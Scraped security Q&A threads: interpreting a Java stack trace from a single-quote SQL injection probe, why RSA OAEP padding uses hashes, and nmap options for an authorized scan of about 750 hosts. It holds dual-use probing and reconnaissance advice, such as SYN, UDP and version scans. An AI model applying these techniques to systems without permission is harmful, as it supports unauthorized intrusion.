hardware-level security ( CPU, memory, trusted platform module, data ports)


This is a Stack Trace or Sql Injection? Yesterday I posted a question about whether I could do an SQL injection with the following error code:

httpStatus":400,"errorCode":"BAD_QUERY_PARAMETER","message":"java.lang.NumberFormatException: For input string: \"'\"","implementationDetails":"com.sun.jersey.api.ParamException$QueryParamException: java.lang.NumberFormatException: For input string: \"'\"\n\tat com.sun.jersey.server.impl.model.parameter.QueryParamInjectableProvider$QueryParamInjectable.getValue(QueryParamInjectableProvider.java:74)

The strange thing was that, I answered that I had been useful because through another payload I did, I got another error, something like:

Malformed escape pair at index 30: /app/view/products/view.html?language=EN&id=_PAYLOAD_&port=50000

But I was not able to inject the database, so, this is a stack trace type error?
I would appreciate your answers ...

The output is a stack trace, and it looks like the current parameter you are testing is not vulnerable to SQL injection. It's not clear if the application is vulnerable to SQL injection or not.

A stack trace is simply a listing of where in the process's callstack an exception occurred.  In your case, it's a "java.lang.NumberFormatException"  That means that the application can't cast the input string (a single quote, in this case) as a number.

When you come across exceptions like that, try googling them.  You'll often find a wealth of information.  For example, I google the com.sun.jersey.api.ParamException$QueryParamException error message, and discovered that the application is using a RESTful framework named Jersey.   See if you can find the api documentation for the error message, and see if the Param its talking about is referring to parameterized SQL, or if it's just referring to a query string parameter.


Why not just pad RSA with random bytes So, i understand that we should always use padding on RSA so that if we send the same message with different keys, the Chinese Remainder theorem can not be used to decrypt it.

When looking at the padding schemes (OAEP) I do not get however why to use complicated hash functions when we have randomness introduced anyway.
Can we not simply pad the message with this randomness and save ourselves some trouble?

When deciphering the message, the recipient must have a way to ensure that the padding hasn't been modified (which obviously you cannot when the padding is random).


Scanning multiple subnets with nmap to determine open services & ports First off, I know nmap's documentation is very powerful and I have been reading through it rather extensively.

I will be scanning externally, with permission, to determine ports & services that might be left open on publicly facing assets.

I have about 750 hosts, a lot of them on different subnets. I have the individual IPs listed out in a CSV. I know that nmap can scan based on CIDR ranges to combine many of the IPs within the same subnet, but I didn't see it as necessary if nmap can just pick up each individual IP from my list.

My reasoning behind the SYN scan would be that I don't think I need to establish the full handshake to determine open ports/services. Assuming I want to test all of these hosts to determine open ports, would this syntax be sufficient for my scan? Also, does anyone know of a rough estimate for how long it may take for nmap to perform the following scan on 750 unique hosts? Any other advice?

nmap -sS -iL /user/Desktop/IPlist.csv > /user/Desktop/scanlog.txt

Do your own host discovery first.  Like I said in a comment, use CIDR range instead of or in addition to your list of specific IP addresses.  Maybe one scan from your list and a separate scan for host discovery.
As the docs on host discovery say,

  One of the very first steps in any network reconnaissance mission is to reduce a (sometimes huge) set of IP ranges into a list of active or interesting hosts. Scanning every port of every single IP address is slow and usually unnecessary.

The advantage of -sS is that it is quick and not noisy.  It may be a good place to start as it will identify "low hanging fruit".

I would encourage you to broaden this.

If I were doing it, I would want UDP and other IP protocols as well as the TCP that you specify when you use -sS:

include -sU so that you look at UDP ports.  as the docs say :

  "Because UDP scanning is generally slower and more difficult than TCP,
  some security auditors ignore these ports. This is a mistake, as
  exploitable UDP services are quite common and attackers certainly
  don't ignore the whole protocol."

include -sO so that any IP functionality is discovered.

Collect other nmap features that make sense for your situation.  (For example, do you want version detection of the services you find so you can identify vulnerable versions?  If so, look at http://nmap.org/book/man-version-detection.html)